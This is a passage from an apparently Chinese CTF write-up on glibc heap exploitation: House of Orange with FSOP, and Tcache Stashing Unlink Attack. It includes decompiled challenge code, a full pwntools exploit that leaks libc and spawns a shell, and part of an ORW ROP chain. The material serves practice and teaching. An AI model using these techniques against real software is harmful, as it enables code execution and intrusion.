该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即

1
2
3
4
5

fake chunk 的 ISMMAP 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。
fake chunk 地址需要对齐， MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem 。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。

想要使用该技术分配 chunk 到指定地址，其实并不需要修改指定地址的任何内容，关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。

House of orange

前提

题目中不存在 free 函数或其他释放堆块的函数。

原理

House of Orange 核心就是通过漏洞利用获得 free 的效果。当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候，原来的 top chunk 会被释放并被置入 unsorted bin 中，通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

利用方法

1
2
3

1.篡改top chunk size（注意size需要对齐内存页）
2.分配比top chunk size大的chunk。
3.现在原来的top chunk进入了unsorted bin中，再次malloc就会从unsored bin中切分出需要的大小，剩余部分作新的unsorted bin。

注意：伪造top chunk size时，必须满足以下要求

1
2
3
4
5

1.伪造的size必须要对齐到内存页。
2.size要大于MINSIZE。
3.size要小于之后申请的chunk size + MINISIZE。
4.size的prev inuse位必须为1。
5.malloc的大小不能大于mmap分配阈值。

例题

houseoforange_hitcon_2016

保护全开，打开ida

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int choice; // eax

  sub_1218();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = my_read(a1, a2);
      if ( choice != 2 )
        break;
      show();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        edit();
      }
      else
      {
        if ( choice == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_13:
        a1 = "Invalid choice";
        puts("Invalid choice");
      }
    }
    else
    {
      if ( choice != 1 )
        goto LABEL_13;
      add();
    }
  }
}

add函数

会申请三个chunk，chunk_1存放chunk_2和chunk_3的mem指针，chunk_2存放name，chunk_3存放price和color。由于num2的限制，只能使用4次add函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

int add()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  int color; // [rsp+Ch] [rbp-14h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]
  _DWORD *v4; // [rsp+18h] [rbp-8h]

  if ( num2 > 3u )                              // num开始为0，可利用add4次
  {
    puts("Too many house");
    exit(1);
  }
  v3 = malloc(0x10uLL);   //chunk_1
  printf("Length of name :");
  size = my_read();
  if ( size > 0x1000 )
    size = 0x1000;
  v3[1] = malloc(size);     //chunk_2
  if ( !v3[1] )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  my_read2((void *)v3[1], size);
  v4 = calloc(1uLL, 8uLL);      //chunk_3
  printf("Price of Orange:");
  *v4 = my_read();
  ::color();
  printf("Color of Orange:");
  color = my_read();
  if ( color != 0xDDAA && (color <= 0 || color > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( color == 0xDDAA )
    v4[1] = 0xDDAA;
  else
    v4[1] = color + 30;
  *v3 = v4;
  heap_array = v3;
  ++num2;
  return puts("Finish");
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

int sub_EE6()
{
  int v0; // eax
  int v2; // eax

  if ( !heap_array )
    return puts("No such house !");
  if ( *(_DWORD *)(*heap_array + 4LL) == 0xDDAA )
  {
    printf("Name of house : %s\n", (const char *)heap_array[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*heap_array);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
  }
  else
  {
    if ( *(int *)(*heap_array + 4LL) <= 30 || *(int *)(*heap_array + 4LL) > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)heap_array[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*heap_array);
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*heap_array + 4LL), *((const char **)&unk_203080 + v2 % 8));
  }
}

edit函数

存在漏洞，修改chunk时的size大小由我们自己修改，可造成堆溢出，修改下一个chunk的内容，edit函数有num作为限制，只能使用3次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

int sub_107C()
{
  _DWORD *v1; // rbx
  unsigned int size; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  if ( num > 2u )                               // num开始为0，可利用edit3次
    return puts("You can't upgrade more");
  if ( !heap_array )
    return puts("No such house !");
  printf("Length of name :");
  size = my_read();
  if ( size > 0x1000 )
    size = 4096;
  printf("Name:");                              // size由我们输入，存在溢出
  my_read2((void *)heap_array[1], size);
  printf("Price of Orange: ");
  v1 = (_DWORD *)*heap_array;
  *v1 = my_read();
  color();
  printf("Color of Orange: ");
  v3 = my_read();
  if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 0xDDAA )
    *(_DWORD *)(*heap_array + 4LL) = 0xDDAA;
  else
    *(_DWORD *)(*heap_array + 4LL) = v3 + 30;
  ++num;
  return puts("Finish");
}

分析

程序不存在free函数，而按照我们的一般思路都是先free一个大于0x7f的chunk，进入unsortedbin，获得libc基地址，之后覆盖hook函数为system函数获得shell。而这道题不能这样做，add和edit函数的使用次数也有限制，这道题的edit函数存在堆溢出，可以考虑使用House of orange，通过修改top chunk为一个比较小的值，然后分配一个很大的chunk，使top chunk进入unsortedbin，从而泄露libc，这样heap基地址也能泄露出来，之后的话，可以使用FSOP，获得shell。

过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

# coding=utf-8
from pwn import  *
 
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序，linux系统，64位架构,debug
 
binary = './houseoforange_hitcon_2016'  
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)     
libc = ELF('../../libc-2.23.so--64')  

#libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims  :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
        gdb.attach(sh)
        pause()
def add(size, content, price='2', color='1'):
    ru("Your choice : ")
    sl('1')
    ru("Length of name :")
    sl(str(size))
    ru("Name :")
    sh.send(content)
    ru("Price of Orange:")
    sl(str(price))
    ru("Color of Orange:")    #1-7
    sl(str(color))


def show():
    ru("Your choice : ")
    sl('2')

def edit(size, content, price='2', color='1'):
    ru("Your choice : ")
    sl('3')
    ru("Length of name :")
    sl(str(size))
    ru("Name:")
    sh.send(content)
    ru("Price of Orange:")
    sl(str(price))
    ru("Color of Orange:")    #1-7
    sl(str(color))

修改top chunk

随便申请一个chunk，然后利用edit函数，溢出修改topchunk

1
2
3
4
5

add(0x30,'aaaa\n')
dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(2) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload)
dbg()

top chunk大小为0x0000000000020f81
修改后的top chunk 大小为0x0000000000000f81

申请大于top chunk的chunk，进入unsortedbin

1
2

add(0x1000, 'a\n')
dbg()

泄露libc和heap

调试可得此时我们刚刚申请的0x400chunk里存放着0x00007fe0c1216188距离libc基地址0x3c5188（0x00007fe0c1216188-0x7fe0c0e51000），该chunk里还存放着heap地址，因为printf遇到’\x00’会停止打印，所以我们将0x00007fe0c1216188改为字符串b，再将其输出

1
2
3
4
5
6
7
8

add(0x400, 'a' * 8)
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
dbg()

我们泄露出的heap为0x5617117b30e0，距离heap基地址0x5617117b30e0-0x5617117b3000=0xe0，由此可获得heap_base地址

1
2
3
4
5
6
7
8

payload = 'b' * 0x10
edit(0x10, payload)
show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
dbg()

构造fake_file

接下来我们修改当前unsortedbin中chunk的大小和内容,这里FSOP还不太明白，先借用一下大佬写的解释

malloc时，对unsorted bin进行判断，此时该chunk的size为0x60，不满足要求，就把该chunk放入small bin，并且向bk->fd写入main_arena+0x58，即向_IO_list_all写入main_arena+0x58，此时判断下一个unsorted bin（_IO_list_all），而这里实际上没有chunk，此时会触发错误，此时第一个_IO_FILE_plus结构体为main_arena+0x58，而它不满足条件，就通过_chain调到下一个_IO_FILE_plus结构体，_chain位于0x68偏移的地方，main_arena+0x58+0x68=main_arena+0xc0，就是small bin中0x60大小的地方，这就回到了我们伪造的_IO_FILE_plus结构体

1
2
3
4
5
6
7
8
9
10
11
12
13

dbg()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
dbg()

修改前

修改后

之后我们再调用add函数，调用malloc函数，就可以产生错误信息，改变程序执行流程，获得shell

1
2
3

ru("Your choice : ")
sl('1')
itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

# coding=utf-8
from pwn import  *
 
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序，linux系统，64位架构,debug
 
binary = './houseoforange_hitcon_2016'  
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)     
libc = ELF('../../libc-2.23.so--64')  

#libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims  :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
        gdb.attach(sh)
        pause()
def add(size, content, price='2', color='1'):
    ru("Your choice : ")
    sl('1')
    ru("Length of name :")
    sl(str(size))
    ru("Name :")
    sh.send(content)
    ru("Price of Orange:")
    sl(str(price))
    ru("Color of Orange:")    #1-7
    sl(str(color))


def show():
    ru("Your choice : ")
    sl('2')

def edit(size, content, price='2', color='1'):
    ru("Your choice : ")
    sl('3')
    ru("Length of name :")
    sl(str(size))
    ru("Name:")
    sh.send(content)
    ru("Price of Orange:")
    sl(str(price))
    ru("Color of Orange:")    #1-7
    sl(str(color))



add(0x30,'aaaa\n')
#dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0) * 2 + p64(0xf81)
 
edit(len(payload), payload)
#dbg()
add(0x1000, 'a\n')
#dbg()
add(0x400, 'a' * 8)
#dbg()
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)
  
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
 

edit(0x10, payload)

show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
#dbg()
 
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
#dbg()
 
ru("Your choice : ")
sl('1')

itr()

可能因为本地环境没配好，打不通，在buu上远程可以打通

参考文章
houseoforange_hitcon_2016
houseoforange_hitcon_2016

如果从fastbins中malloc-一个freechunk时，glibc会做以下两个检测：

Tcache Stashing Unlink Attack利用了House of Lore的一些手段，两者都是利用了small bin

House of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。
House of Lore 可以实现分配任意指定位置的 chunk，从而修改任意地址的内存。
House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针，并且控制指定位置 chunk 的 fd 指针。

Tcache Stashing Unlink Attack

利用特性：
1.tcache bin中有剩余（数量小于TCACHE_MAX_BINS）时，同大小的small bin会放进tcache中
2.calloc函数分配堆块时不从tcache bin中选取。
3.修改一个small bin的bk指针时，就可以实现在任意地址上写一个libc地址，构造得当可以往任意地址申请chunk，实现任意地址写

利用前提

1
2
3
4
5

1.能控制 Small Bin Chunk 的 bk 指针。

2.程序可以越过Tache取Chunk。(使用calloc即可做到)

3.程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击目标

1. 向任意指定位置写入指定值。
2. 向任意地址分配一个Chunk。

攻击前提

1. 能控制 Small Bin Chunk 的 bk 指针。
2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历整个smallbin，获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判定Tcache的size链表是否已满，并且取出smallbin的末尾Chunk。
            //验证取出的Chunk是否为Bin本身（Smallbin是否已空）
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //如果成功获取了Chunk
                if (tc_victim != 0)
                {
                    // 获取 small bin 中倒数第二个 chunk 。
                    bck = tc_victim->bk;
                    //设置标志位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    // 如果不是 main_arena，设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //取出最后一个Chunk
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入到Tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif

此处我们发现了一个很关键的情况！我们在此处没有经过House of Lore中必须经过的检查：

1
2
3

// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是此处又有了矛盾的地方！

首先，在引入Tcache后，Tcache中的Chunk拥有绝对优先权，我们不能越过Tcache向SmallBin中填入Chunk，也不能越过Tcache从SmallBin中取出Chunk。（除非Tcache已经处于FULL状态）

然后，我们如果要在这里启动攻击，那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块)，同时要求Tcache处于非空状态。

那样就产生了矛盾，导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性，它不会从Tcache拿Chunk，因此可以越过第一条矛盾“不能越过Tcache从SmallBin中取出Chunk”。

然后是Unsorted Bin的**last remainder**基址，当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时，该Chunk不会进入Tcache。

同时，我们来分析tcache_put函数

1
2
3
4
5
6
7
8
9
10
11
12
13

static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以发现，tcache_put函数没有做任何的安全检查。

那么，当Tcache存在两个以上的空位时，程序会将我们的fake chunk置入Tcache。

例题 BUUCTF-[2020 新春红包题]3

未开启canary保护，可能存在栈溢出

main函数

程序实现四个功能，增，删，查，改，还有一个栈溢出的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

void __fastcall __noreturn main(char *a1, char **a2, char **a3)
{
  char v3[268]; // [rsp+0h] [rbp-110h] BYREF
  int v4; // [rsp+10Ch] [rbp-4h]

  v4 = 0;
  sub_11D5();
  sub_1450();
  sub_1269();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v4 = readd();
        if ( v4 != 3 )
          break;
        a1 = v3;
        edit(v3, a2);
      }
      if ( v4 > 3 )
        break;
      if ( v4 == 1 )
      {
        if ( x1c <= 0 )
          exitt();
        a1 = v3;
        add(v3);
        --x1c;
      }
      else
      {
        if ( v4 != 2 )
          goto LABEL_19;
        a1 = v3;
        delete(v3);
      }
    }
    if ( v4 == 5 )
      exitt();
    if ( v4 < 5 )
    {
      a1 = v3;
      show(v3);
    }
    else
    {
      if ( v4 != 666 )
LABEL_19:
        exitt();
      stack_attack(a1, a2);
    }
  }
}

add函数

申请chunk，会指定chunk的序号，最大为16，且只能申请四种chunk，1.0x10 2.0xf0 3.0x300 4.0x400，并且是calloc函数分配堆块，chunk不会从tcache bin中取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

int __fastcall sub_1515(__int64 a1)
{
  int v2; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+14h] [rbp-1Ch]
  unsigned int v4; // [rsp+18h] [rbp-18h]
  int size; // [rsp+1Ch] [rbp-14h]

  printf("Please input the red packet idx: ");
  v4 = readd();
  if ( v4 > 0x10 )
    exitt();
  printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
  v3 = readd();
  if ( v3 == 2 )
  {
    size = 0xF0;
  }
  else if ( v3 > 2 )
  {
    if ( v3 == 3 )
    {
      size = 0x300;
    }
    else
    {
      if ( v3 != 4 )
        goto LABEL_14;
      size = 0x400;
    }
  }
  else
  {
    if ( v3 != 1 )
    {
LABEL_14:
      size = 0;
      goto LABEL_15;
    }
    size = 16;
  }
LABEL_15:
  if ( size != 0x10 && size != 0xF0 && size != 0x300 && size != 0x400 )
    exitt();
  *(16LL * v4 + a1) = calloc(1uLL, size);
  *(a1 + 16LL * v4 + 8) = size;
  printf("Please input content: ");
  v2 = read(0, *(16LL * v4 + a1), *(16LL * v4 + a1 + 8));
  if ( v2 <= 0 )
    exitt();
  *(v2 - 1LL + *(16LL * v4 + a1)) = 0;
  return puts("Done!");
}

delete函数

存在UAF

1
2
3
4
5
6
7
8
9
10
11
12

int __fastcall delete(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = readd();
  if ( v2 > 0x10 || !*(16LL * v2 + a1) )
    exitt();
  free(*(16LL * v2 + a1));                      // uaf
                                                // 
  return puts("Done!");
}

edit函数

编辑的次数受qword_4010控制，qword_4010为1，只能编辑1次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

int __fastcall sub_1740(__int64 a1, __int64 a2)
{
  void *v2; // rsi
  int v4; // [rsp+18h] [rbp-8h]
  unsigned int v5; // [rsp+1Ch] [rbp-4h]

  if ( qword_4010 <= 0 )
    exitt(a1, a2);
  --qword_4010;
  printf("Please input the red packet idx: ");
  v5 = readd();
  if ( v5 > 0x10 || !*(16LL * v5 + a1) )
    exitt("Please input the red packet idx: ", a2);
  printf("Please input content: ");
  v2 = *(16LL * v5 + a1);
  v4 = read(0, v2, *(16LL * v5 + a1 + 8));
  if ( v4 <= 0 )
    exitt(0LL, v2);
  *(v4 - 1LL + *(16LL * v5 + a1)) = 0;
  return puts("Done!");
}

show函数

1
2
3
4
5
6
7
8
9
10
11

int __fastcall sub_184E(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = readd();
  if ( v2 > 0x10 || !*(16LL * v2 + a1) )
    exitt();
  puts(*(16LL * v2 + a1));
  return puts("Done!");
}

栈溢出函数

执行栈溢出函数需要满足*(first_chunk + 2048)> 0x7F0000000000且*(first_chunk + 2040) 和 *(first_chunk + 2056)值为0。first_chunk就是我们申请的第一个chunk。

1
2
3
4
5
6
7
8
9
10

ssize_t sub_13BD()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  if ( *(first_chunk + 2048) <= 0x7F0000000000LL || *(first_chunk + 2040) || *(first_chunk + 2056) )
    exitt();
  puts("You get red packet!");
  printf("What do you want to say?");
  return read(0, buf, 0x90uLL);
}

思路

因为存在一个栈溢出的漏洞，我们可以使用堆ROP，而要想利用栈溢出漏洞需要将*(first_chunk + 2048)修改为一个大于0x7F0000000000的值，而*(first_chunk + 2040)和 *(first_chunk + 2056)本来就是0，保持不变即可。calloc函数分配堆块，chunk不会从tcache bin中取。程序至少可以分配两种不同大小且大小为unsorted bin的Chunk（0x300和0x400）。这里我们可以使用Tcache Stashing Unlink Attack。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")

 
 

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()
 

def add(index,chunk_size_index,value):
    ru('Your input: ')
    sl('1')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sl(str(chunk_size_index))
    ru('Please input content: ')
    sl(value)

def free(index):
    ru('Your input: ')
    sl('2')
    ru('Please input the red packet idx: ')
    sl(str(index))

def edit(index,value):
    ru('Your input: ')
    sl('3')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('Please input content: ')
    sl(value)

def show(index):
    ru('Your input: ')
    sl('4')
    ru('Please input the red packet idx: ')
    sl(str(index))

构造tcache bin

首先我们要获得unsorted bin的chunk，需要先填满0x400大小的tcache bin，填0x300大小的tcache bin只剩1个

1
2
3
4
5
6
7
8
9
10

#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
    add(15,4,'Chunk_15')
    free(15)

for i in range(6):
    add(14,2,'Chunk_14')
    free(14)

dbg()

此时我们利用UAF可以泄露出heap地址

1
2
3
4
5
6

show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)
dbg()

利用unsorted bin构造两个small bin chunk

当我们申请一个chunk时，如果unsorted bin里有chunk，而我们所申请的chunk大小小于unsorted bin里的chunk，那么就把unsorted bin的chunk分割，拿出我们需要的大小申请chunk，剩下的继续留在unsorted bin中，
而如果我们申请的chunk大小大于unsorted bin中的chunk，那么就会把unsorted bin中的chunk，按照大小放入对应的bin中，之后再从top chunk中申请一个chunk。

我们可以先申请一个0x400大小的chunk，再申请一个0x300大小的chunk（防止合并），之后free 大小为0x400的chunk，再申请两次0x300大小的chunk，第一次申请的chunk会从0x400大小的chunk里切割出0x300，unsorted bin还剩0x100大小的chunk，第二次申请的chunk由于大于unsorted bin中的chunk，会将unsorted bin中的0x100大小的chunk放进small bin，我们利用同样的方法可以再次得到一个small bin的chunk，这样我们就得到了两个small bin chunk。

申请一个0x400大小的chunk，再申请一个0x300大小的chunk（防止合并），可以看到tcachebin中的chunk没有被拿走。

1
2
3
4

add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

dbg()

我们free chunk1，因为chunk1大小为0x400，tcachebin中0x400大小的chunk已满了7个，所以进入unsorted bin，利用UAF泄露libc基地址

1
2
3
4
5

free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)
dbg()

申请0x300大小的chunk，在unsortedbin里寻找大小为0x300的chunk，分割unsortedbin 里的chunk，拿出0x300，还剩0x100

1
2

add(13,3,'Chunk_13')
dbg()

在unsortedbin里寻找大小为0x300的chunk，此时unsortedbin中chunk只有0x100大小，0x100的chunk进入smallbin，从top chunk中分配0x300大小的chunk，成功制造一个small bin chunk

1
2
3

add(13,3,'Chunk_13')

dbg()

利用同样方法再构造一个small bin chunk

1
2
3
4
5
6
7
8
9
10
11
12
13

add(2,4,'Chunk_2')
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

dbg()

并借此我们找到size大小为0x1010的就是first_chunk，借此我们算出刚刚泄露出的heap+ 0x250+0x10+0x800-0x10就是first_chunk+0x800的地址，small bin chunk2的fd指针指向small bin chunk1不变，所以我们还要算出small bin chunk1距离heap的距离0x37e0

修改small bin chunk的bk指针为first_chunk+0x800

1
2
3

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)
dbg()

再次申请0x100大小的chunk，程序仅会检查Chunk2的fd指针是否指向Chunk1，在取出Chunk1后，因为0x100的Tcache Bin还有1个空位，程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中，我们若此时篡改Chunk2的bk指针指向first_chunk+0x800，触发Tcache Stashing Unlink Attack将main_arena+336写入first_chunk+0x800，满足first_chunk+0x800大于0x7F0000000000.

构造ORW的ROP链放入堆块中

先获取一些gadget段， file_name_addr是我们要申请的下一个chunk的mem地址，也就是当前的top chunk的mem地址，距离heap 0x0000000000004A40

1
2
3
4
5
6

pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处，防止覆盖掉有用内容
ROP_chain  = '/flag\x00\x00\x00'

open(file_name_addr,0)

1
2
3
4
5

ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])

read(3,flag_addr,0x40)
Read函数的第一个参数文件描述符从0开始累加，
程序进行时内核会自动打开3个文件描述符，0，1，2，分别对应，标准输入、输出和出错，
